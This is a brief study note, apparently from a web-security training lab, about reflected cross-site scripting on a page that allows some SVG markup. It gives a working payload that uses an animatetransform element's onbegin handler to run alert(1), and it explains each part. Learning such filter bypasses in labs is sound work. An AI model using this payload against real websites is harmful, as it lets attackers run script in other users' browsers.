16 - Reflected XSS with some SVG markup allowed

https://www.youtube.com/watch?v=7dKk4A6viWo

<svg>
<animatetransform onbegin=alert(1) attributeName=transform>
</svg>

Explanation:

• <svg>: The SVG container.
• <animatetransform>: An SVG element that allows for animations on transformations like rotate, scale, etc.
• onbegin=alert(1): This triggers a JavaScript alert(1) when the animation begins.
• attributeName=transform: Specifies the attribute to animate.